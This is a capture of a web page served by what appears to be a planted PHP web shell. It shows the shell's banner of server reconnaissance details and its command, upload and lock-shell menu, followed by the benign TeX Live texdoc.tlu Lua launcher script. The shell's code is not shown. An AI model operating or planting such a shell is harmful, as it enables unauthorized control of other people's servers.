|
Server IP : 173.236.192.202 / Your IP : 216.73.216.85 Web Server : Apache System : Linux iad1-shared-e1-03 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64 User : andfor18 ( 14551322) PHP Version : 7.4.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /sbin/../bin/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] | [ Lock Shell ] | [ Logout ] |
|---|
#!/usr/bin/env texlua
-- texdoc.tlu: the main program of texdoc
--
-- The TeX Live Team, GPLv3, see texdoclib.tlu for details
-- Note: we keep this file small as much as possible so that make it easier
-- to install a new version of texdoc in TEXMFHOME.
local lfs = require 'lfs'
local kpse = require 'kpse'
-- setup kpse library
kpse.set_program_name(arg[-1], 'texdoc')
-- get realpath of this file
local function realpath(p)
if os.type == 'unix' then
local e = os.execute('which realpath >/dev/null 2>&1')
if e == 0 then
local h = io.popen(string.format("realpath '%s'", p))
local r = h:read('*a')
h:close()
return r:gsub('\n$', '')
end
end
return ''
end
local file = realpath(arg[0])
-- if the file is not in TEXMFMAIN, set temporal TEXMFAUXTREES and TEXMFDIST
local texmf = file:match('^(.*/texmf[^/]*)/scripts/texdoc/texdoc.tlu$')
if texmf ~= nil then
if texmf ~= kpse.var_value('TEXMFMAIN') then
io.stderr:write('Info: ' ..
'Running Texdoc not installed in the current TEXMFMAIN.\n')
os.setenv('TEXMFAUXTREES', texmf .. ',')
os.setenv('TEXMFDIST', ',')
end
end
-- load the library and execute
local texdoc = require 'texdoclib'
assert(texdoc.cli, 'Internal error: Texdoc is not installed properly.')
texdoc.cli.exec()
-- vim: ft=lua: